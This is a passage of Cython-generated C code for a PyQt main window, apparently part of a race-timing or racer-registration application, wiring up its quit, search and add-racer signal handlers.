__Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_v_parent); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_v_parent}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_v_parent}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_INCREF(__pyx_v_parent); __Pyx_GIVEREF(__pyx_v_parent); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_v_parent); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":47 * def __init__(self, parent=None): * super(MainWindow, self).__init__(parent) * self.setupUi(self) # <<<<<<<<<<<<<< * * def connectActions(self): */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_setupUi); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_v_self); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_v_self}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_v_self}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_INCREF(__pyx_v_self); __Pyx_GIVEREF(__pyx_v_self); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_v_self); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":45 * self.__RacerEdited = theRacer * * def __init__(self, parent=None): # <<<<<<<<<<<<<< * super(MainWindow, self).__init__(parent) * self.setupUi(self) */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_AddTraceback("MainWindow.MainWindow.__init__", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "MainWindow.py":49 * self.setupUi(self) * * def connectActions(self): # <<<<<<<<<<<<<< * self.actionQuitter.triggered.connect( QtWidgets.qApp.quit ) * self.L_racerlist.itemDoubleClicked.connect( self.editRacer) */ /* Python wrapper */ static PyObject *__pyx_pw_10MainWindow_10MainWindow_9connectActions(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_10MainWindow_10MainWindow_9connectActions = {"connectActions", (PyCFunction)__pyx_pw_10MainWindow_10MainWindow_9connectActions, METH_O, 0}; static PyObject *__pyx_pw_10MainWindow_10MainWindow_9connectActions(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("connectActions (wrapper)", 0); __pyx_r = __pyx_pf_10MainWindow_10MainWindow_8connectActions(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_10MainWindow_10MainWindow_8connectActions(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; __Pyx_RefNannySetupContext("connectActions", 0); /* "MainWindow.py":50 * * def connectActions(self): * self.actionQuitter.triggered.connect( QtWidgets.qApp.quit ) # <<<<<<<<<<<<<< * self.L_racerlist.itemDoubleClicked.connect( self.editRacer) * self.findNumber.returnPressed.connect( self.findNumRacer) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_actionQuitter); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_triggered); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_connect); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_qApp); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_quit); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":51 * def connectActions(self): * self.actionQuitter.triggered.connect( QtWidgets.qApp.quit ) * self.L_racerlist.itemDoubleClicked.connect( self.editRacer) # <<<<<<<<<<<<<< * self.findNumber.returnPressed.connect( self.findNumRacer) * self.R_Npa.returnPressed.connect( self.findNpa) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_racerlist); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_itemDoubleClicked); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_connect); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_editRacer); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":52 * self.actionQuitter.triggered.connect( QtWidgets.qApp.quit ) * self.L_racerlist.itemDoubleClicked.connect( self.editRacer) * self.findNumber.returnPressed.connect( self.findNumRacer) # <<<<<<<<<<<<<< * self.R_Npa.returnPressed.connect( self.findNpa) * self.R_City.returnPressed.connect( self.findVille) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_findNumber); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_returnPressed); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_connect); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_findNumRacer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":53 * self.L_racerlist.itemDoubleClicked.connect( self.editRacer) * self.findNumber.returnPressed.connect( self.findNumRacer) * self.R_Npa.returnPressed.connect( self.findNpa) # <<<<<<<<<<<<<< * self.R_City.returnPressed.connect( self.findVille) * self.RB_Add.clicked.connect( self.addRacer ) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Npa); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_returnPressed); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_connect); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_findNpa); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":54 * self.findNumber.returnPressed.connect( self.findNumRacer) * self.R_Npa.returnPressed.connect( self.findNpa) * self.R_City.returnPressed.connect( self.findVille) # <<<<<<<<<<<<<< * self.RB_Add.clicked.connect( self.addRacer ) * self.TM_T_passage.itemDoubleClicked.connect( self.setRacerTb) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_City); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_returnPressed); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_connect); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_findVille); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":55 * self.R_Npa.returnPressed.connect( self.findNpa) * self.R_City.returnPressed.connect( self.findVille) * self.RB_Add.clicked.connect( self.addRacer ) # <<<<<<<<<<<<<< * self.TM_T_passage.itemDoubleClicked.connect( self.setRacerTb) * # Race action: */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RB_Add); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_clicked); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_connect); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_addRacer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 